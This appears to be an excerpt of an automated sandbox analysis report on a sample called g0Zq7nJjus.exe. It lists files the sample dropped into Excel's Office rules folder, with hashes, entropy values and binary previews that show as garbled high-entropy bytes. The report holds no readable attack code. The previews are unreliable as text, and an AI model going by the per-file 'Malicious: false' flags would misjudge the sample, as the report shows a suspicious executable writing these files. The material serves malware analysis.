Preview:	<?xml/.....1:...).2r.......P....I.....Y(;.m...Xs9.....;.O..l..-u.M/...A]..},.5g.B.....j.-...!.[JB..i.8[.a..I..a&.......b..A.K....g.D0....~.....^..kj......Pyk....9.j.......L..g...<!.q.lIvv5...!....@....TM.Pd..U..P......}S..l~...m.BuD.u.B.F....Ne"$....:t.........p...[P.Pp..s.W.N... ........O.[jD...@.Z.vF...=KC6..5..LV..4..w...$=..R...w'.iZ..>...G....%.~..,....3.I....`.`...*..U.)..A.O2"..rU.........lKwD..25..u..#a....,3.~.hjM..z...)u@6............FD......^..o..B`,.C.#.p.....U.....&O..q.pV....-..M..D^./x2.k.....`R.<..8..A.E./$...xY(p..(..T... .l....lY.\YE<w$....../..!...\|<..p:..M.U....lQ.p..\|..V7)...._.].....<.ccmmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.88736905843712
Encrypted:	false
SSDEEP:	48:qI9hHt8W3q1pwezxWASdAT8eMd2yJaapaDD:qI9F3qPfVWASdP/U4aP
MD5:	BB26542A84FE3E11FC72153251F39B99
SHA1:	2E7BF92B452276AFB277432C0796B895AD16F4F1
SHA-256:	87C83B88F49E7E5D2BB9B5C4FE29F8196439226185F63FD693808B5E7A76F552
SHA-512:	33E7C2E76121928F84BF4C3AE037BE892289EE508D0AEECD788BF673CA8993032B9769F486834A2873634C46F9A2D51BE4013FF18217934A50F458B7ADEA6549
Malicious:	false
Preview:	<?xml.,..)!u...}.tP..uy.,.e.).....V&......o...$...g.V}...n..Q&a7...4...W.q`j.,...;...V......>1..].........\|...qW,.3.D[.YP.Y.o...>.......:x...>...g .....r...K.".".W.xx..0.^S.P.....y.u.....z^._2.\....O............6...B\.Y\|....xx7.F...... 1=....n.".NQn6 .{X....D.v.....U.....g..b....4.W..aw.v.X.[.3Tr.y0/^F.]....[.......s.........8.z.2X.'.$.....i.3U..=....>.....B.....3p.m.4.).8.:....}....Z..t.M.O......k]Oc..Lk.N'2w.>Y..Bq.8.....PI.....Y.k...V.......Q..O.Mu...J-.....!.N@h...5->/....n]~(...s.'y\_.xt"..^....D.P... _.hul#m...X^$,...0...hVX.l..ND.E..V......Q..D./.[..V....a.....c.O....W_.r$.:F"."....=#.....:......T.C..:....I.y;m3..).g...8...o9...R....c..;i.}'..f..I....&bL..7...W_..w0rm6f...,....&=+g\|n.UV...../..]-.<.M..%.l..u...i..}gum..........P...8.-K...KA...{....-.x.r[.lx......:.%.,.7...)B._..;D.T4....q%........W/..=%............O".W.t,PDM....6....oS.CF...'.....2.j?{.....}z.\|.`.$.........Xr...<.P..A.&......a.'...T...C...EV[.>d...H..J.i9*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.892528121231386
Encrypted:	false
SSDEEP:	48:MurQW+YKoKjKLP35tdD6hu1SZKbZYKrkUD:MurdfK2735X+6SZKFYC9
MD5:	DF9FE537936383F7A21CD15F5BE238DE
SHA1:	3EC14979DF1386D4E202088B94CF7CFFF644A798
SHA-256:	E4602EEBCE55D8D86B006AED218550FCF347A5853653859F5751AEC656262F5A
SHA-512:	76CDAE5C80D6A76658BBFF9AA9026F5C82E10043449EF5ABB4B896B23906640BBB8A800CDE529B4EB5901C2F8205940517E072E5CA0DAB00863B0A619D21DCF4
Malicious:	false
Preview:	<?xml..... ..4.Zd.w.v..q.V.a..{...1.tc..j...fi0......H..g.Ma..o_.n...B..=.$.....P.^.a.....b...9.;nz.x{......G.......:.....A.O...,(.`...x...[.S5.....1..i...fv}.6..x...,M.z^.S5h..I=...H.~r.>.}4...]AR.:.cAs<6....NS.'.o.Y.7A.w....y... .....i...E.0s..l<..q..0.,..C.m..e2/.p.@e.0.[..\l._1.Y.O.. u\|...&.a.d.N....,;..'K.\|....Og..{.-[..................9..O.."..8..n...Q..\|.#.............{.(.~..MX,........Nu..}.R.5.u&..................d..\|#S.......&.A.h...'...k...hdgIZ7......9...\|..q<..x..x.F...`8.Q.1M.0.g.e.>..K....0...aM...T.....).v...~a.......k.6g.Sj.$.e;B7.......z.....lk..b...FF4....Y....r.{..s..&.=.du.Wt3.....H.c].F...h...N.fw....!h..N....Uk.$.M.al.2..P?c.}Q.D..m.]......X....b(....k.sR!e5..`v.N.....!....4.........`...Cb-........>.5...[........F...-7n....l.v......B.wz.`T...T....(..R....>..va0`..F..z.D..,....t.p.0..&a..0.....{....lO.S.....F.....W....Xv...?..6..{.Y.\.....gv.]...@.u.c.1......m.9.m.....*pyJ....3R..nV.z.1...\{.R.J.@.A..b..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.723588366432484
Encrypted:	false
SSDEEP:	12:AmbQ1pP5Utu1uTqX5D77zu3SRByV1nq3yBDKkvYZPLLh9Ze3isuYyHntRWVSUdNX:AmGpGSug5H7KXVECs6YZPhTe3bu7Nj2X
MD5:	E8CEE77FD9605958B60FD8244B371C51
SHA1:	10DBA818DF50A94ABFD81A8F55A9942B0CB271F5
SHA-256:	384115D4C53EE2AC611ADDF3C4B65293CCB00C5BA5578F96F5472C73DD709C5F
SHA-512:	615D5D8B5A2E517D8D2B652752E29D77F1DD80AC2566D95F5BA13B108ACB9DEE227FD64821D0E226B9DA635EDB7BA73B0162E22D54F3B24034CDC24B56D0D466
Malicious:	false
Preview:	<?xml}.@.BG~J.P...?.n.6.{.S...H.z...mL..b......=....Mz....4........Y$.....h.]........{...7.CF"..Io.0H9{.y........)...L..p..a.;.J.-j.J].cI.y..G9.W.}.....?.....:.........I.{[..d....O.{.!ZS7x..$G...14&.pJ.'..{....G n..k...O...v...!.v...)..S..kc.3.+.....cQR..M..A.O1.O$..<.l<..t..\.,.....M<3....HL..0.0K......[x.z.(..N.V...Z\..t...../...G\|../.'@e.......Cav...h.X...Pv#....K.2(.L........../,.>3..u......*.>...F5..=.:..9...r..Z.eiK..UR.CF.~._....lE ...wa.V^$..sn.u..`C3..v...!...PU.W>.5.P.f...."Go.w.]..E..X<..X..S...E.U.]..w...0.B.u.-.Ya..D..8.....C...A..r...R.....!..K...N..wZ..M.<.......{:._.p}T].[t5..... ..x.5..-!.4_.sE.J#..X..z..V=...\.LIcI.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.895841271711591
Encrypted:	false
SSDEEP:	48:3TgRu7EKdp4vx4sjYYPc7zP366WBQtV5um4lKD:3eKdSvxLcfIuMC
MD5:	DD08FC909C8F1E768765010F69B817CF
SHA1:	325F63754EE8FE631C4ECEDBD25E026A11D85169
SHA-256:	F9BFDA4579F02E6DD03798C64FE3E1C5505767CADF16493E145E78637A8F00A9
SHA-512:	C32951A4EE3EF5A46F1224A292B30A23A7D1EF5A6BE6F8518932B3FE6F8B4741678349938C4C59975029246427C7D1B755353CA657900391893DB0B567376775
Malicious:	false
Preview:	<?xml..WD.Y...).F.N...rO..Z.`n.(.[.V...\|.E.N.1.VKx..L.G....a...h.6)....=K.t....F....]...A....]...x....[..(..$H........kT.28.e4r.vWzZ.=..6....Nt...K..N. ..:..uFb..X..!Q..c.b.......>.<.5....N.ed...\].Oc.C......4WCV9.....:............N#w......S...h.."ic=..C......2#..s3...A.f<h.....0...6..u.W...T.j.R.?.7.\|..".,..s.....n..#.....B....0d.:........b...e.l.w?.....L/...Z..l]....:..\jN....ST....@&i.b....+~..B:"5u...8.H..}..FXk...M....m....`Y.@..h..MK..Z..q..'..X?ME.W.`[%.e<c...D5.2...).K.M.%e...2Q.h.,z$)H.L.........Le...d..(...TCCO......-".`...+.3Y1_.8.....S...\8...X... ..K.4...t..m.......i.K..P.a.......cZ.....\|.QXz6_ \|..r.Z...sX^....0.G.#.?..H..{.:......j..\|v...o..f..>...XIu...b...._...t.Ff...E8....E....a...@....`gW.h-.r.6.....E....io......Sa.+'....L....,...{'.m6...?.c;.#.....=.@.I...F..e..>&..$.hx..,.I.c~<....zC..?".i..$..8<...).\|.I.^....F/.hP....'.b....l..}.O..Re..}.Q.b....'..V.v..i.O.....=!.3..}....-.....k.Z.A.....2G\w.p......E../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.861443283726611
Encrypted:	false
SSDEEP:	48:whqogVbPH26wZDsIO7zT8XrwWyDAcai3U2wtaD:/E6wsIyP8MJQi3U2wA
MD5:	E752810478D87D17246C46ED122425DD
SHA1:	0FAD916FC0F860743B825850A6EBAE2EB0149A5D
SHA-256:	3E7E7EAD2C786A0F27B2AB727A40D2BCC4E5FA7599D71A58C091FA4A34031D71
SHA-512:	756E0D192572A7022E3580C576B391C6F5E427A07C2D1334A10B0BB2167B870C8DAEA38B387F036FF55D6295FD246D55510B0439B24C7996BEC7927D13F5B5B6
Malicious:	false
Preview:	<?xml.gb.W.....'w..rqyV.............q}.x..)...!.H.....O...\.z....w.K....\...zxC5X.......x...zz....3.....0.(.n.5(=..$...C-...(...d....P..xH.59...M(#LE$.s"=p.+.3.......m.....b./...[3Nv..}\$.<8..'....+..+[.\...0^.^...\|.!.q}.%C.......V.A.?.M....a.J.~.]"D.....d..`.).H7.:8.w...<.v.56....^.\|x......f..q>...{............9..r<..N~...[..^1.[\g~a{.lAFA ..'....M~.z..L@2.-.. ub;S.yt..$x..]3.."FG#..HY..G......~+.MxD.;.B+.h..p7.%......m.....4.ty).. T>s....EHf.c...88.....b.s<.a......_.P.u...+..7.'..$..Ko.w.#.Y...&;X..M.L p.c1Y..M.....=W......,.3..."c.......(l.k/..-.uJ....8G..Sm(........JZZv...#e.r.Q..Bb.m.[.).. L....nY....b...k3p.;=.Pb..P..`..$.!.]~.u..ta%r...L....B..ISy.'..>.-....;..S...z..8Q..,.0.>.A..?......`..b.:.D..="Q..Q\|y..[. .>.zU...Q..>..Lz.<.....5..>(..gO...qQY..g..,.....Y.K.......u.d.nu..5.7:.4T....'.}.......H.`.P%...z..B.......+..,b..2i...e.2.y...FP...I.3....6...uS....(<4...i+aJ..=.4.O.w.pu.gt..L.$...8..`_.6.yY..1....$v.yr}....J.~.s1vu.y.}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.881439773582914
Encrypted:	false
SSDEEP:	48:i1LJ/NnHlD3m0fA28/3WYWRnxkTLNeslTvkkD:i11/NnFDWDv3WNxkdHTvL
MD5:	FFC8526A1F1FB3F5D72FE541C36871AE
SHA1:	CA46E0656EE9F46A885825C3FA92FE6E03F7804D
SHA-256:	7CB82F1B0CA87D3D13A78D9B8CB5B69CBA40E05AFEB4A7654B6DB1A662DFDB6A
SHA-512:	AC9E69D7B9F39FAB99405995F2F21666DF274D6ACE198BD76FFD5EE63E9FE7002A118F23EAA177F523B08CF8BF8509757250C02D74101E77C45401FEE9ED0137
Malicious:	false
Preview:	<?xmlD.0....}.@.P..O............gk....h.".Z.#B...Xx.%....z@gL49...."..v}.........y....6y[..Y..-\|.A6.`.ItZ.I2....j6.. n.G......>........^..........6O....H....:..N.vY.A..z...8.......K...W0(F.....\|d.%Oc.......!....=....8..+.}..].g..,S...........m..)w<8&..N.!]..zq..&....?..7i.....2.F.."1.GvB.:.\|...6aq.L...(<.C..zlp..v...-......I.3..qm..scR.+...Y....-f0.z...#...$i....y.N.>...om#u...y.2. .>.P9.!...F..]e...W<.A. ;._\|..%Y^....j.#j.'...p..`L....Ml........LU..P..k2...!H7...k..[.........$..^.3a....& .'...,..H9}`.P...e..:A.....k.g......!dCab.f.AT.t.%._..>.J..>..H.j.Xj...c@f...-..D.(..v."D..-...\|i..I.\^mJ.}..#..#7,(..U.....FP/..B~9Xy ...;o~bO..2.S@.b.VT..J......u.gy.qV.....;..$....#$.z....%..C....-...n0........:r.6..u......_@X/P..x./.7\|s..k..{T=.7!H...h~..I...0.tT...Ap.&{.1%Y5.7Z......l.vq3...~Z.Q.h...G...'.I.v...{..f.*...S}~-.{.L....f....2RH.........SY..._.vgV....ac.G..>N.h\.....y.......R..uIw.G...5._%..wv....6n{.... e.....'P.7.E^}>.).m..0m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.886948940503335
Encrypted:	false
SSDEEP:	48:wX3EL3u+JJuQ04G/K8OcUBRrDf3f0dYDuxBVQT8ujQCrD:wg3hJJu7Z/6jrzUlQT2CH
MD5:	211A53107C97ACDCE46822B74C59843E
SHA1:	86A3BE687BCEAC08A681AFC9FE1774ABF9195885
SHA-256:	772FE334C6AFCAE9334453104FD7D82C66ECEB38E48A4F8A5CCDFC1B7E0355F7
SHA-512:	A3EE133149139B0F96000FF5277BDFA0E711E0E2DB6920313434411D09A8D37375A3FFA718130BD43D3065478F161792BE7136F31E7B7923745454C995C344DE
Malicious:	false
Preview:	<?xml.j.......:)W..5..&..P?U3.]...L}.$..;........)L7..+.`B.6...c..&...K..}rZ...(L..R..(..,...d..r.N.....z..ef...j. ...b.f.H.h.d.~...W......I..o../...6B..R...~3....$......l&....f..W..H.Fg...>-.g...//.+.?.b..>.&....k"),.....60......{..v...s.ts....hH.......7.D...+.#.g..b.O..L...).........QI..@..M e].......{..iO..!....Y.~.G.g..U....{.WA.....[e.tf.p.j..0.N~!9uw.D......4.V.O)..r....i...a._#.5.Oz....TOXO......$.}..63.........,...f.....k.tI......G.:...P.'..%...X].Fif..cX.....=[...hz..7^.H:....@..L.2.m..../....E8......`.....m.L.x.`......@.r`..g..y.'JX.V...M".c.Cr.G.!LI.Y7....cFQS.ca.}.......cD....5....a...@..T....@....TR=U...~....S.#..Xk.....v...K.:...t...G....2...aa....CX.o......5..~...'....a..=...A.ON..&.z.]\l\...X.t...,.-0IS.I..a3.~...1..%._{...Y.;.O.<NP.W.m....g...f.+aa.,.,A.....\|.t...r.s.."w..#.xv.D..[.&.U.h.;bx..K...K..rS. ...z.,. .%.[2.a.... ^.`$..4..g..D..Ax........B.=...!.]...4Ua@..W7.-.v.t..[A..A.....H._...ed.{\|A_.....cp...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.888496113233228
Encrypted:	false
SSDEEP:	24:NedRDjDjliYC36jxW1w+vytaKhS9gVaBF1uVkKV4knqrYaTucoUFqaOjK+M2bD:NeddliYC36n2ytaKhSqVCOVL4tu0tG5D
MD5:	C6DD38BB83DA4B68B84E7895D31B8A76
SHA1:	F335DC18BC77B74AAEECB158B6C6B41FC0930A93
SHA-256:	8F45B0904F94D694512FD1847C4422B1B30E9D9B76BB8DFEBAE56AA90EA7FBC1
SHA-512:	EAFB00886382EB1005FCC706ABF32173B081C1FC7C5220B7BFA0873044D8F4790E299B4E54FD86187B7E6CC8FEC0769F4319FC49D58FCA5436F61938D1F99ABB
Malicious:	false
Preview:	<?xml......n<y...z.&.(+..(....S....h.C/.....].~....2........P.C.....n..~........T}...j.........=:.&9....T...8.9..'..../....DU).Lj.7.')G..<b..4*...............,.k.#...ia...z.t\|.........uc.\x...m.RA.>_....9v.....sq.ky..L;Az\|V3.c.....^YG......ikkS.1=~E.k..^....0?......EaH.n....fv.H5$..."i...8..w..}.~..;...=x.W.....feF.....Y../..b....}}...&.@._TH@.n%../w...sa.4..=#W....cs.(.^...... .63+o.=......t[.......-...>....t....z.I.}VX..).zBa.{.)dK.P.......~1)..P...vn.%...4.n....2?]..`.`.;.Fce.h...4v..:I.R..k.,+....J\|...q.DK......[...N.....1...,.g.......a`..6..R....G:.__#m....G.....>.U3#e..%...5....]...~p.`.8D..>9!Ehg.04;.b..6Y..i.($rf..,O..r..].Kl..%...Bc2b.3..VS;Gw......ke..^.D..J#..../@.........;.Kf..".`x.....yz....2..q..66k3...#....n.B....+.H.x.......!..:.+<G...k......Cu.@0!'...w.d.K.L.u..S.3..Z..^. ..=S.....o\.4..B._..].......P<...g.DS..4#..9...".-...$..V...o..O..00W.`..f.?"<M.bG.."..T.T......."......U...n.g...._..B4.....KDW.lQ...,.c..`....X...5..1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.885365904763484
Encrypted:	false
SSDEEP:	48:WDwwo8VgZ8yyCKWzMWcRSjBvY4bWED5m7m86fPI9Oq5KSD:WnW/fMVQjBCsmC86HFC
MD5:	6998B7892C95F5DF8992FC1CE1B343C9
SHA1:	2767F20F386E4E7641B67A23D87BD6014A5CABD1
SHA-256:	33075A354D6BAF6E095CB6170EE855282DE7A7F04AD7701C36F5F69B0186D606
SHA-512:	BB0453312C008AED854391C04FEE1E5C9C44D2A4D4EC95792E022F468BB1A3413C79172651F9918CB95F4F71A01664C36CC2C9DC6236C73FF7AA1C00030CF79D
Malicious:	false
Preview:	<?xml.~=.~......aJ...{'.~X..]K..,.../.IH.>.Pp]...dg..}Ji..1..9E...I...:.HnZ.d.`.y.\.2!..L....q......?,.jQ......P......K.NK.m6.p{.H..j..A..jD..?....~..C-...185....:#U.0N...K..3.A.a%...T{.,E1y}..../....{....z.,W.........@1qEH...e..z..7..\|.1...L3@..E...:.V:..E5....6.T....\.X.--.@bn...Eq....Z..3r...:......a.`J..d.0p..'..x......z....N.UY........._....q....@.{...`_.u.].Xw._....:..P...Ev....?A......"v...g....C..x6....i..G.....r......]~p").U.,;...^.p.....gw.. Tq..'.]w+...~....[.3.2`R....79F..W...nNL...q..^..K.....-.l&..u..(@.....x..c@...t:].t.f....)......&B.....mA%p5.$..4hAF2h...:a.._t[..C.U.p';[...a.F.E......=...._..{.7.9..7.]9S ...l.................2f....v^..X.{..`Y'.F.,a...d"=^.=.......e.. ...........).0ws..gM...V..... Mc?......2.$r..../l..>l_..ry..!qKVr..:....ft.B$a!..<.U.Q.c.c......]...!..q"...%...&Z..-.....4..&t3e.!........o......F1"5h....4~.S.4.A.......i.?J..Y...r"[.0...0...V..t,..L\..V.Sx ]...f.......j...96-../~.O.._n....s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.873020317639541
Encrypted:	false
SSDEEP:	48:CHbuRNmvMkH6MHIJlAUjgonqeuN4Oh91TKpD:O+W6zAcf0NtE
MD5:	58B0E61922C3B610F3B5A9B76168A3BE
SHA1:	D2D381AB2B18ABE8CF9EB657144E3BC2C7D7E483
SHA-256:	8B1F71D353FADE9223A765FB044E43B12BAA12F9F95DE722DEB7D800DE1E53AA
SHA-512:	016A66EB3B4C542F763C7FF0AE9893B54155238F9F21C5837674BD836186885F4CD9A9333EC18C1756275032F7B60E11B8F4214C62AA50D721C231F5A400A193
Malicious:	false
Preview:	<?xml...g.hM6..\.......t..8D...x....RQ..Va.^.l......3.y...u.0b....5......g...%....v...f.i.V...Esm.).....5.z5.x....4......I...E..6z8....t...i...3.=D..w.N...s...\."T~MLO,..}.L.i......L.y.)..@.I.>.J.9......._.oY4..F.P....g'=..-.Aac..V.LM{U........\|.g!#f.IRa...1...e.'.n.0....r..wK..[(.(.p..a....Z..".....&..>....}...Zx.....l..q.08.fN..U..A.d..mj..<....y4..r.].9..!./..r?...b.-....?..@.o...?.D]..o0Ww....97..^..dw9R..qX._..7.m......{.\|.R......<'.F}.j....[.t...ME{.......E:.....]...\9..2.^cA.,..a'...:.?.....!..........8....V...^..E...M.......`D.?ai.hH.j...,bO.]...~J6..V-...O.q.=.as..;C..n.{o.2...."$M...%;..}.........\|....%....o.HmH.x...L)M...<...qt.."n.x.....\|{../.&.Zw..xud..w\.=....D.=.,.h....T.}...%....<x.%b.....8l7..1.y.06.......N.....o...c...O4........4.iF..7.P4.....gO....T$.^fg%.9....R-.u.0]..i..wn.'.....J.5_......^.HQ..R,..E..P..........k..3.P.;..o,]......@Z..v.7..6...[$..T,.....-..-.....$..O.\.qr.. 6...=.O=.ac..^....[.;..+.$.O...R'#\.V.H.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.890302988077972
Encrypted:	false
SSDEEP:	48:tcrXZN0miwQUZJAS+MXK//DmkVM9SPOmD:Gr0VwDZK/9v2+
MD5:	8CB5E0ECF72327E8845B6F9DB733EC25
SHA1:	1F1C0627D26D6241A7BCF35E1084E679C1E8D8D1
SHA-256:	1E1A697E01D693A42DE3D30D49481E1501570E7944FED536EB43C0FAD8357A9B
SHA-512:	0DDD571A1B406BC6EFB62EF2126EC7DBB9D5F25C6598B76B372C70FB798441363506E3350B36D537547D50D23AC6C109235EBDBD4CCED918C43DC227DA379492
Malicious:	false
Preview:	<?xml.4........nwF]\.9.L...O .l..V.......p.#..f.:...J...K..7.L\.d...6pA.<{.qgd.wl..../..J.2..n..X..jw..U!9;...H..k{..d_.+K..[...K.F.L..Y...J.....0..H.A6..O..7...v[.k.k..#e.Ft.:.......\|r0e.a3r.K.Lxt...{KY...2...H5...D......z.qT,.]..z..o..a._..}ZPj&-..{..:w\2.).L.h..."/h..w..}.....SR...9Q....0......qO`\|7.....&...ew..a.......nr.v..l...A..a..!..(.p.......N.A#.< ....c..y..\|..,..l.#t.[.u`...j/.>K?.Gu...s@a,.5.~n.k.6..h`g.~Hi........a...bk66,...........0.fb]zb... .4........qe..zs...W>.6...K....ry..o...9..G.W..fUs....I.a....+N.. ..d..!.V.B..XZv...y0....c.4..........l.E&.\|...s./.(x..Hq.I.........].&....n`...=..99Mu...g..9....:..&.A.d..{...j...}.qJ....8U@}......>)..N;..._.._.wR?+n.,.fs...3.x......D".3..6....+7......g........(..S.EVvk..&.4.)M...#..y..J..\&....'...I..Kv..t.`\|...._U#k.....i..<._...SC..........w...Ic...@........{...sc...Ug.[.O.$.[.5...{..."...z2F..@...ERPMD+.8f.:...q..dP..zh..2u..h....7W%.C....Gd.#...5.Z..#..ai=.B._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.944505670101967
Encrypted:	false
SSDEEP:	48:0d76lB93KKTaahN5g/vgUsJ7gU0fkjJnH85VNhtnlS/+8f9I4rzQke42AkBZh271:0No93dLbg3e+neJczNnla+ubecs27W5s
MD5:	00CD1D0DAAEAE30D1431C7D039B6B768
SHA1:	138754C92C3AABA280998C486DA62D463F729A70
SHA-256:	453F0CC4C44DEC4DCFDEF78B358F5392148BAE0B7CB1A83C717602683BCA002A
SHA-512:	EDDCBFE31902B1073F7D6B0503234FE17F0A178B756732BB7C3A6692D8DD1740C179EFA3039A59F96838DF02EFD33BF031FE788DC69C7CD5600DC2BBF2A1B9EC
Malicious:	false
Preview:	<?xmlg.A.g@x.&/u.p...z.3^..D`b...z......~9..X......7x..p.r..gi....C..,TEMy.=8O..tIOW1.[....w....(U.83.7T..K..G....Ouc..\..\X9...}...tN..W.K%.Gx...C....U.`......e. \.........o..B.U..$.T05[.?p..f....._=.M..2.....1 ...L.".V.].hx<.....,Gi......p....,....P.H....Je...h...P.4.\|.^...S.q.>[..Ra..aA....(.HJ...'.#...ap{^b..i......c,.K6T\|....QBD...!W.l.....\'bpbk..U..)......<N....:ol3.m..z..L.RG+.3#=......\|<.cy...-....<..~t.%.h...-.......GK........g;...xc.V..`._..u..x.m.,........K"=W\g.'a.~...OV..MJ.k4....!.K..-....`........gOql.D...(.e3.d:.+\J...Ac>.....)p..c..:.....'6="3.n_.Y..%.".x;.(......(....I.v.>J...2..G..5Q ..J=o.....>.t...6..MJ...X/..t.oJ@..;<.\:..$..g5..l..3L.wwT...o.......F5B..@p.\..1_...6.....(nO....'S.M_.`..M.R@p].5.0........vw..@[.....X....j...q..e..O...._..P7. .h..2..(.h..........}....G.Di.B5./$.h..Z..lP.@.e......I.}5k[[...m..I!...G<.49.q.\|.<.]n..\|P..j...i.!...#.z.S....3Lj.].Z..j........r5.......C....f..Q.....f...v/...*'.. #

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.781656460774969
Encrypted:	false
SSDEEP:	12:MhTQOf7JID7y67MqylgiTN+mlZFYfMXqhao5dnxjHNN1OfBWoqSUdNcii9a:MrJEm67HylgipdJYgIaonxiWop2bD
MD5:	35B9EA6A6D929D095E855DDAAF8E93E9
SHA1:	D732B8071EBDE053005FF94DF3BCED4B10C11B3E
SHA-256:	4D23CD3B8DDEFD464EDB6125429FE01FD8ED6B7FC314DB676AE5BA6E2E3BD270
SHA-512:	BB25C50F6CC496DFC8C224DD9056DC69F7AABE61F72E6A2F7ED8FDCA0B65681FE43439C5AFEBEFF530F6C2E0E0B83110E3E929A83661C52625D0AD4EBE98BBA1
Malicious:	false
Preview:	<?xml..]..XrD_GDz.......x.G..z.ru....X].......@.u.y/.gS5...g.O.dF..........;k.1.:....!.n..'..iF......#..e...f.Ldx...g..[.0q...j+...Vl....z2ap.0.L..#.'7o...n.......4...y.'....=...!+..,...UB.F.U.A2.m..q......]jyx...\|..P.@l,t..Io.E..[7}.v........W.....\|..CcQ-....Q._...b..F.u...j.X..7......?p..2;....5....../..)...2e..]...d).(....a...?..M...ov.8[..._....v./.................\|...~N.nL...o!&.>.H..G{.).R...X...nn...(2.^..X..L....:...7...E..r...^..i9.l....mhZ.m.G..`...:g.).Ksg...e..i+L.."..^.@.....=...G.E\r(M.oi'....X.x...v.....Is..p[.^.#......;..y.X.k?.YX.`.pA0..h...3.......nxu.@...^......Y...Z...... ....b.7...Q.B.......>.bT..&.Q....lu{(.....!..0.S..PZ.V........^. .]..W.c;..`d8....).-^....#.4.?..8.+.$G...U..5...).W&..2q....'x.A.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.824355843358793
Encrypted:	false
SSDEEP:	24:jslFS6aj2AgVtdAGdquX+g0rnN0zt4rHP7/6nCf1hHJCs2bD:Ylk6oTga+quX+rN/TmT/D
MD5:	8320A06DF0811D7E60DC507A751FBDE7
SHA1:	01A9D5509100E1F29B7240BB993DCDAB7A7F7F24
SHA-256:	416BB98FC1B16A06A21D0E2A85161F52E9E5AD59466496526A23BBA0A44F837A
SHA-512:	26FC0805558DD8732D314F264FE9F5233577F72EFD7066843A620769E156489773841EAD8C3B1954C596E30B55C24601B893EFE699A696C760FC4C7877A82720
Malicious:	false
Preview:	<?xml..U...i#~6Q.b...t...X....W.<..<[.(.U.&B..S..w....l..1.rM.f.....v..vBV......4.xi..h...F=X;..KKc$d..m/....N...[).Wt<.......!lr..[..V.n<&1".J....Q...V.......f.h~.gFx.....oYI.&}2......._......U..g..HW..`..!..I....@...z...........!.......9....ml...y[.W..J...U\|q.B.3.s..,<..q .p..u....<7....u.,...k......~y.7......2.B.@..OA.&..>......%...WK..(.V..........6.......2~.....m....0.Xe.,..6........a...d.....P.ge....w.._..$9J!3Q=..\I....._..............8:....'\|p.@cV..<..8)Y!l .....{..E..a..5.U._...B..<.Z../.Cn...lu._..V..,..... ..0mi..K..D..5fsR!U9.Uq)...T..i...X....`..w>.N.X...c.q-.......1...g?..!.x\.vTf".sx..Wv.1Z......4...i`.w....4...#2J8......1.`....h&..Tq.&..y..tR)d.......b@.!.e.r7..e.X.....Xk..S.\8.<JJ......c...J..^u..U.T.l.r.T._...%@.."kA...a.....B.4......]....U.w..j.m7..'.c....i.%..qow\..~.....2.bAf....s]cD T.2.i"0G..8....k....U..N.>_:.!.P..G...J..]7I..9.e....'........t...l....2.....^..aU.xe.f..Vz{...<F\|<.Nl#...........(a.,.;

